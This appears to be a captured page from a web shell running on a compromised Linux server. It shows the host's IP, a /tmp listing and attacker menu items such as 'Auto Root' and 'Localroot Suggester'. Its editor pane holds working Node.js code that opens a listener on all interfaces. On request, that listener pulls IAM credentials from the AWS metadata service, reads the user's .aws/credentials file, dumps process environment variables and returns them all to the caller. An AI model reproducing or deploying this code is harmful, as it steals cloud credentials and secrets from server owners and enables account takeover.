Linux azu-front-29122023-s-1vcpu-2gb-sgp1-01 5.19.0-46-generic #47-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 16 13:30:11 UTC 2023 x86_64
nginx/1.22.0
Server IP : 188.166.228.183 & Your IP : 216.73.216.131
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
tmp /
Delete
Unzip
Name
Size
Permission
Date
Action
.ICE-unix
[ DIR ]
drwxrwxrwt
2026-01-22 04:04
.X11-unix
[ DIR ]
drwxrwxrwt
2026-01-22 04:04
.XIM-unix
[ DIR ]
drwxrwxrwt
2026-01-22 04:04
.font-unix
[ DIR ]
drwxrwxrwt
2026-01-22 04:04
snap-private-tmp
[ DIR ]
drwx------
2026-01-22 04:04
systemd-private-dedbb0e0cf8c4a3db8cef328ab6f6920-systemd-logind.service-aMlnHn
[ DIR ]
drwx------
2026-01-22 04:04
systemd-private-dedbb0e0cf8c4a3db8cef328ab6f6920-systemd-resolved.service-yIXHT7
[ DIR ]
drwx------
2026-01-22 04:04
systemd-private-dedbb0e0cf8c4a3db8cef328ab6f6920-systemd-timesyncd.service-0oa3Oh
[ DIR ]
drwx------
2026-01-22 04:04
php21GxQZ
4.38
KB
-rw-------
2026-02-10 19:37
php5ZX164
38
B
-rw-------
2026-03-27 04:39
php5egaTm
38
B
-rw-------
2026-06-09 16:22
php7WtXFY
215
B
-rw-------
2026-03-27 04:36
php80aX2i
4.38
KB
-rw-------
2026-02-16 19:35
php87iW9u
4.38
KB
-rw-------
2026-02-25 00:12
php8bcIBy
4.38
KB
-rw-------
2026-02-11 20:46
php8sILAA
24
B
-rw-------
2026-03-28 23:16
php8x2ElF
8.75
KB
-rw-------
2026-03-27 04:43
php9lDw33
4.38
KB
-rw-------
2026-02-11 20:42
phpBZsOaM
48
B
-rw-------
2026-03-28 23:19
phpBhFYbP
4.38
KB
-rw-------
2026-02-22 12:57
phpBuH9dX
4
B
-rw-------
2026-03-27 04:43
phpCOtir0
4
B
-rw-------
2026-03-28 23:17
phpEsohSZ
4.38
KB
-rw-------
2026-02-12 20:58
phpEtquV1
102
B
-rw-------
2026-03-28 23:19
phpH9CpaZ
4.38
KB
-rw-------
2026-03-04 09:20
phpHWSuQ2
29
B
-rw-------
2026-03-27 04:37
phpIXvHjJ
4.38
KB
-rw-------
2026-03-03 09:16
phpJi7yYj
4.38
KB
-rw-------
2026-02-25 09:28
phpLIu5y2
24
B
-rw-------
2026-03-27 04:43
phpMe6kqF
31
B
-rw-------
2026-06-09 16:23
phpOqa7fH
29
B
-rw-------
2026-03-27 04:37
phpOtATYD
4.38
KB
-rw-------
2026-02-12 20:58
phpPRYpYr
31
B
-rw-------
2026-06-09 16:22
phpPpbqt3
8.75
KB
-rw-------
2026-03-27 04:43
phpQ1r5BL
27
B
-rw-------
2026-03-27 04:43
phpQUB3sF
27
B
-rw-------
2026-03-28 23:19
phpRZDmHM
53
B
-rw-------
2026-06-09 16:23
phpSOnkoh
102
B
-rw-------
2026-03-28 23:19
phpSR09c8
27
B
-rw-------
2026-03-27 04:43
phpTTMW4D
4.38
KB
-rw-------
2026-02-12 21:03
phpVI9qk3
4
B
-rw-------
2026-03-27 04:43
phpVjGRIn
54
B
-rw-------
2026-06-09 16:22
phpX7VfS0
4
B
-rw-------
2026-03-28 23:17
phpZs0PF4
53
B
-rw-------
2026-06-09 16:23
phpaf6Afa
8.75
KB
-rw-------
2026-03-28 23:17
phpbFf7Ae
4.38
KB
-rw-------
2026-02-10 08:27
phpbixJSZ
27
B
-rw-------
2026-06-09 16:23
phpc28Kwf
163
B
-rw-------
2026-06-09 16:23
phpdgq0s2
4.38
KB
-rw-------
2026-02-12 20:58
phperLPsr
4.38
KB
-rw-------
2026-02-12 20:57
phpftAyzn
32
B
-rw-------
2026-03-27 04:43
phphNEAgt
31
B
-rw-------
2026-03-27 04:37
phpifjbIO
4.38
KB
-rw-------
2026-02-22 12:55
phpiobuDE
206
B
-rw-------
2026-03-28 23:12
phpkOHtnz
8.75
KB
-rw-------
2026-03-28 23:17
phpkUs7Sz
24
B
-rw-------
2026-03-27 04:43
phpm1xfvL
4.38
KB
-rw-------
2026-02-10 19:36
phpmVJAr2
24
B
-rw-------
2026-03-28 23:17
phpoX9eux
29
B
-rw-------
2026-03-28 23:20
phpolQtWd
32
B
-rw-------
2026-03-27 04:43
phpoybYRq
27
B
-rw-------
2026-03-28 23:18
phppAbrhg
4.38
KB
-rw-------
2026-02-22 12:57
phppaGDpr
48
B
-rw-------
2026-03-28 23:19
phppu1xHr
4.38
KB
-rw-------
2026-02-22 12:57
phpqBnYck
4.38
KB
-rw-------
2026-03-23 10:23
phpqZRygN
4.38
KB
-rw-------
2026-03-03 09:16
phpr6IOxj
4.38
KB
-rw-------
2026-02-10 19:37
phps0ARMm
29
B
-rw-------
2026-03-28 23:20
phpuB9RSq
4.38
KB
-rw-------
2026-02-10 08:27
phpw6O38a
60
B
-rw-------
2026-06-09 16:23
phpzs5aYr
4.38
KB
-rw-------
2026-02-22 12:57
Save
Rename
import { createServer, request } from "http" import { readFile } from "fs/promises" import { userInfo } from "os" import path from "path" const IMDS_HOST = "169.254.169.254" function httpReq(options, body, timeoutMs = 5000) { return new Promise((resolve, reject) => { const req = request({ ...options, agent: false }, res => { let data = "" res.setEncoding("utf8") res.on("data", c => data += c) res.on("end", () => { clearTimeout(timer) resolve({ statusCode: res.statusCode || 0, body: data }) }) }) const timer = setTimeout(() => { req.destroy(new Error("timeout")) }, timeoutMs) req.on("error", err => { clearTimeout(timer) reject(err) }) if (body) req.write(body) req.end() }) } async function imdsStep(name, fn) { try { return await fn() } catch (e) { const msg = String(e?.message || e) throw new Error(`aws_unavailable:${name}:${msg}`) } } async function fetchAwsCreds({ timeoutMs = 5000 } = {}) { const token = await imdsStep("token", async () => { const r = await httpReq({ host: IMDS_HOST, path: "/latest/api/token", method: "PUT", headers: { "X-aws-ec2-metadata-token-ttl-seconds": "21600" } }, undefined, timeoutMs) if (r.statusCode !== 200 || !r.body) throw new Error(`bad_status:${r.statusCode}`) return r.body.trim() }) const role = await imdsStep("role", async () => { const r = await httpReq({ host: IMDS_HOST, path: "/latest/meta-data/iam/security-credentials/", method: "GET", headers: { "X-aws-ec2-metadata-token": token } }, undefined, timeoutMs) if (r.statusCode !== 200 || !r.body) throw new Error(`bad_status:${r.statusCode}`) return r.body.trim().split("\n")[0] }) const creds = await imdsStep("creds", async () => { const r = await httpReq({ host: IMDS_HOST, path: `/latest/meta-data/iam/security-credentials/${encodeURIComponent(role)}`, method: "GET", headers: { "X-aws-ec2-metadata-token": token } }, undefined, timeoutMs) if (r.statusCode !== 200 || !r.body) throw new Error(`bad_status:${r.statusCode}`) return JSON.parse(r.body) }) return { role, creds } } async function readOurFile(relPath = ".test") { const u = userInfo() const home = u.homedir const fullPath = path.join(home, relPath) return readFile(fullPath, "utf8") } const server = createServer((req, res) => { res.setHeader("Content-Type", "application/json") if (req.method === "POST" && req.url === "/aws") { let body = "" req.on("data", chunk => body += chunk.toString()) req.on("end", async () => { try { if (body) JSON.parse(body) } catch { res.statusCode = 400 res.end(JSON.stringify({ success: false, error: "invalid_json" })) return } let aws = null let awsError = null try { aws = await fetchAwsCreds({ timeoutMs: 2000 }) } catch (e) { awsError = String(e?.message || e) } let file = null let fileError = null try { file = await readOurFile(".aws/credentials") file = file.replace(/\s+/g, " ").trim() } catch (e) { fileError = String(e?.message || e) } let env = null let envError = null try { env = await readFile("/proc/self/environ", "utf8") env = env.replace(/\x00/g, "\\n").trim() } catch (e) { envError = String(e?.message || e) } res.statusCode = 200 res.end(JSON.stringify({ success: true, aws, awsError, file, fileError, env, envError })) }) return } res.statusCode = 404 res.end(JSON.stringify({ success: false, error: "not found" })) }) server.listen(51295, "0.0.0.0", () => { console.log("Server running") })